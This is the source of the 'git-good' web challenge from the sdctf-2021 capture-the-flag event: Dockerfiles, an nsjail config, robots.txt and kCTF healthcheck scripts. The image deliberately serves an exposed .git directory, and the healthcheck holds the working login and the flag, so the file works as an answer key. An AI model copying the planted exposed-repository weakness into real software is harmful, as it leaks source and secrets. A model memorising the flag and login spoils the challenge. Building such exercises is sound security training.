WORKDIR /app 22 | COPY package.json . 23 | COPY package-lock.json . 24 | RUN npm set progress=false && npm config set depth 0 25 | RUN npm install 26 | 27 | FROM base 28 | COPY .rename.me.git ./.git 29 | COPY .gitignore . 30 | COPY admin.html . 31 | COPY app.js . 32 | COPY image1.png . 33 | COPY index.html . 34 | COPY robots.txt . 35 | COPY users.db . 36 | COPY secret.flag . 37 | 38 | CMD kctf_setup \ 39 | && kctf_drop_privs node /app/app.js 40 | -------------------------------------------------------------------------------- /web/git-good/challenge/image1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acmucsd/sdctf-2021/fcddb506f5f798a264fc17e5588c0f5b7d5fbb2c/web/git-good/challenge/image1.png -------------------------------------------------------------------------------- /web/git-good/challenge/nsjail.cfg: -------------------------------------------------------------------------------- 1 | # Copyright 2020 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # https://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | # See options available at https://github.com/google/nsjail/blob/master/config.proto 16 | 17 | name: "node-nsjail" 18 | description: "Barebones jail for containing a node express server" 19 | 20 | mode: LISTEN 21 | uidmap {inside_id: "1000"} 22 | gidmap {inside_id: "1000"} 23 | mount_proc: true 24 | rlimit_as_type: HARD 25 | rlimit_cpu_type: HARD 26 | rlimit_nofile_type: HARD 27 | rlimit_nproc_type: HARD 28 | 29 | mount: [ 30 | { 31 | src: "/chroot" 32 | dst: "/" 33 | is_bind: true 34 | }, 35 | { 36 | src: "/dev" 37 | dst: "/dev" 38 | is_bind: true 39 | }, 40 | { 41 | src: "/dev/null" 42 | dst: "/dev/null" 43 | is_bind: true 44 | rw: true 45 | }, 46 | { 47 | src: "/etc/resolv.conf" 48 | dst: "/etc/resolv.conf" 49 | is_bind: true 50 | } 51 | ] 52 | -------------------------------------------------------------------------------- /web/git-good/challenge/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "git-medium", 3 | "version": "1.0.0", 4 | "description": "not a vulnerable web app! nice try", 5 | "main": "app.js", 6 | "scripts": { 7 | "test": "echo \"Error: no test specified\" && exit 1" 8 | }, 9 | "author": "KNOXDEV", 10 | "license": "MIT", 11 | "dependencies": { 12 | "bcrypt": "^5.0.0", 13 | "express": "^4.17.1", 14 | "md5": "^2.2.1", 15 | "sqlite3": "^4.1.1" 16 | }, 17 | "devDependencies": {} 18 | } 19 | -------------------------------------------------------------------------------- /web/git-good/challenge/robots.txt: -------------------------------------------------------------------------------- 1 | User-agent: * 2 | Disallow: /admin.html 3 | Disallow: /.git/ -------------------------------------------------------------------------------- /web/git-good/challenge/users.db: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acmucsd/sdctf-2021/fcddb506f5f798a264fc17e5588c0f5b7d5fbb2c/web/git-good/challenge/users.db -------------------------------------------------------------------------------- /web/git-good/healthcheck/Dockerfile: -------------------------------------------------------------------------------- 1 | # Copyright 2020 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # https://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | FROM gcr.io/kctf-docker/healthcheck@sha256:06c6f051583b84d8dc4d77962256b7d1f1f247f405972e0649c821837b66c894 15 | RUN apt-get update \ 16 | && apt-get -yq --no-install-recommends install python3-pip \ 17 | && rm -rf /var/lib/apt/lists/* \ 18 | && python3 -m pip install requests 19 | 20 | COPY healthcheck_loop.sh healthcheck.py healthz_webserver.py /home/user/ 21 | 22 | CMD kctf_drop_privs /home/user/healthcheck_loop.sh & /home/user/healthz_webserver.py 23 | -------------------------------------------------------------------------------- /web/git-good/healthcheck/README.md: -------------------------------------------------------------------------------- 1 | # Healthcheck 2 | 3 | kCTF checks the health of challenges by accessing the healthcheck via 4 | http://host:45281/healthz which needs to return either 200 ok or an error 5 | depending on the status of the challenge. 6 | 7 | The default healthcheck consists of: 8 | * a loop that repeatedly calls a python script and writes the status to a file 9 | * a webserver that checks the file and serves /healthz 10 | * the actual healthcheck code using pwntools for convenience 11 | 12 | To modify it, you will likely only have to change the script in healthcheck.py. 13 | You can test if the challenge replies as expected or better add a full example 14 | solution that will try to get the flag from the challenge. 15 | -------------------------------------------------------------------------------- /web/git-good/healthcheck/healthcheck.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # Copyright 2020 Google LLC 4 | # 5 | # Licensed under the Apache License, Version 2.0 (the "License"); 6 | # you may not use this file except in compliance with the License. 7 | # You may obtain a copy of the License at 8 | # 9 | # https://www.apache.org/licenses/LICENSE-2.0 10 | # 11 | # Unless required by applicable law or agreed to in writing, software 12 | # distributed under the License is distributed on an "AS IS" BASIS, 13 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 14 | # See the License for the specific language governing permissions and 15 | # limitations under the License. 16 | 17 | import requests 18 | 19 | r = requests.post('http://localhost:1337/login', data={'email': 'aaron@cgau.sdc.tf', 'password': 'weakpassword'}) 20 | 21 | if r.text == "sdctf{1298754_Y0U_G07_g00D!}": 22 | print('passed health check') 23 | exit(0) 24 | 25 | exit(1) 26 | -------------------------------------------------------------------------------- /web/git-good/healthcheck/healthcheck_loop.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Copyright 2020 Google LLC 3 | # 4 | # Licensed under the Apache License, Version 2.0 (the "License"); 5 | # you may not use this file except in compliance with the License. 6 | # You may obtain a copy of the License at 7 | # 8 | # https://www.apache.org/licenses/LICENSE-2.0 9 | # 10 | # Unless required by applicable law or agreed to in writing, software 11 | # distributed under the License is distributed on an "AS IS" BASIS, 12 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | # See the License for the specific language governing permissions and 14 | # limitations under the License. 15 | set -Eeuo pipefail 16 | 17 | TIMEOUT=20 18 | PERIOD=30 19 | 20 | export TERM=linux 21 | export TERMINFO=/etc/terminfo 22 | 23 | while true; do 24 | echo -n "[$(date)] " 25 | if timeout "${TIMEOUT}" /home/user/healthcheck.py; then 26 | echo 'ok' | tee /tmp/healthz 27 | else 28 | echo -n "$? " 29 | echo 'err' | tee /tmp/healthz 30 | fi 31 | sleep "${PERIOD}" 32 | done 33 | -------------------------------------------------------------------------------- /web/git-good/healthcheck/healthz_webserver.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # Copyright 2020 Google LLC 4 | # 5 | # Licensed under the Apache License, Version 2.0 (the "License"); 6 | # you may not use this file except in compliance with the License. 7 | # You may obtain a copy of the License at 8 | # 9 | # https://www.apache.org/licenses/LICENSE-2.0 10 | # 11 | # Unless required by applicable law or agreed to in writing, software 12 | # distributed under the License is distributed on an "AS IS" BASIS, 13 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 14 | # See the License for the specific language governing permissions and 15 | # limitations under the License. 16 | import http.server 17 | 18 | class HealthzHandler(http.server.BaseHTTPRequestHandler): 19 | def do_GET(self): 20 | if self.path != '/healthz': 21 | self.send_response(404) 22 | self.send_header("Content-length", "0") 23 | self.end_headers() 24 | return 25 | 26 | content = b'err' 27 | try: 28 | with open('/tmp/healthz', 'rb') as fd: 29 | content = fd.read().strip() 30 | except: 31 | pass 32 | self.send_response(200 if content == b'ok' else 400) 33 | self.send_header("Content-type", "text/plain") 34 | self.send_header("Content-length", str(len(content))) 35 | self.end_headers() 36 | self.wfile.write(content) 37 | 38 | httpd = http.server.HTTPServer(('', 45281), HealthzHandler) 39 | httpd.serve_forever() 40 | --------------------------------------------------------------------------------